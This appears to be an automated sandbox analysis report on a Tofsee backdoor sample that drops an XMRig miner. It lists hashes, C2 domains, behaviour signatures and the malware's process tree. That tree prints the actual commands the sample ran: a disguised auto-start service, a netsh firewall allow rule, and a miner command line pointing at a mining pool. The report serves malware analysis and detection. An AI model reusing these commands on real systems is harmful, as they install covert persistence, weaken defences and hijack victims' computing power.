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Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    01/10/2023, 22:17

General

  • Target

    file.exe

  • Size

    192KB

  • MD5

    9521d635a05ad502cc554991c46b4483

  • SHA1

    0577ecd929032aa60ac2410f0668176bbfb98159

  • SHA256

    7da2dcc910a884fe0dad46b7cb06f27caca416b9f2cf237ea8cef6f402c145be

  • SHA512

    81ba6fb00849e257bbda793624c7438b59355e82b921bff8ce46ec02c91313b98502b6f5fcf8e0a8253cc5f295e2a235143406c5397ef70859f94e2bbe252ce6

  • SSDEEP

    3072:RsYQSFGHFnx9CTg/7RPBdXEwm/sxlZN/iXWYl3veBc150D/Ym+ovV:tGlnD7RPB9m/YNamYl3vPmZV

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mwrtiiwd\
      2⤵
        PID:2612
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iyujewuc.exe" C:\Windows\SysWOW64\mwrtiiwd\
        2⤵
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mwrtiiwd binPath= "C:\Windows\SysWOW64\mwrtiiwd\iyujewuc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mwrtiiwd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mwrtiiwd
          2⤵
          • Launches sc.exe
          PID:2824
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2528
      • C:\Windows\SysWOW64\mwrtiiwd\iyujewuc.exe
        C:\Windows\SysWOW64\mwrtiiwd\iyujewuc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:572

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\iyujewuc.exe

        Filesize

        12.2MB

        MD5

        f6ddda7758003222b369ea4378b6783f

        SHA1

        135017359eabcae586bcd6c75f7d2c483c4fc7a5

        SHA256

        2561bb75bb7487ed012034dca8470be86ffc146639e9cf070a0f8aa15a426192

        SHA512

        efe582047073de880eca0e1756bb71edc1c5db111d36321dc3d275c75a747128accb0d90cb6d56dbb0532882f33c474019896e9ecb2bc1738e7ecec593c1c91a

      • C:\Windows\SysWOW64\mwrtiiwd\iyujewuc.exe

        Filesize

        12.2MB

        MD5

        f6ddda7758003222b369ea4378b6783f

        SHA1

        135017359eabcae586bcd6c75f7d2c483c4fc7a5

        SHA256

        2561bb75bb7487ed012034dca8470be86ffc146639e9cf070a0f8aa15a426192

        SHA512

        efe582047073de880eca0e1756bb71edc1c5db111d36321dc3d275c75a747128accb0d90cb6d56dbb0532882f33c474019896e9ecb2bc1738e7ecec593c1c91a

      • memory/572-61-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-76-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-75-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-74-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-73-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-71-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-72-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-70-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/572-62-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/2284-36-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-42-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2284-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2284-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2284-22-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2284-25-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2284-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2284-29-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-32-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-33-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-34-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-35-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2284-37-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-38-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-40-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-39-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-41-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2284-43-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-44-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-45-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-46-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-48-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-47-0x0000000000150000-0x0000000000160000-memory.dmp

        Filesize

        64KB

      • memory/2284-49-0x0000000000310000-0x0000000000315000-memory.dmp

        Filesize

        20KB

      • memory/2284-52-0x0000000000310000-0x0000000000315000-memory.dmp

        Filesize

        20KB

      • memory/2284-53-0x0000000005870000-0x0000000005C7B000-memory.dmp

        Filesize

        4.0MB

      • memory/2284-56-0x0000000005870000-0x0000000005C7B000-memory.dmp

        Filesize

        4.0MB

      • memory/2284-57-0x0000000000320000-0x0000000000327000-memory.dmp

        Filesize

        28KB

      • memory/2284-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2496-15-0x0000000000400000-0x000000000043D000-memory.dmp

        Filesize

        244KB

      • memory/2496-9-0x0000000000400000-0x000000000043D000-memory.dmp

        Filesize

        244KB

      • memory/3040-1-0x00000000003E0000-0x00000000003F3000-memory.dmp

        Filesize

        76KB

      • memory/3040-7-0x00000000003C0000-0x00000000003D5000-memory.dmp

        Filesize

        84KB

      • memory/3040-6-0x00000000003E0000-0x00000000003F3000-memory.dmp

        Filesize

        76KB

      • memory/3040-5-0x0000000000400000-0x000000000043D000-memory.dmp

        Filesize

        244KB

      • memory/3040-2-0x0000000000400000-0x000000000043D000-memory.dmp

        Filesize

        244KB

      • memory/3040-0-0x00000000003C0000-0x00000000003D5000-memory.dmp

        Filesize

        84KB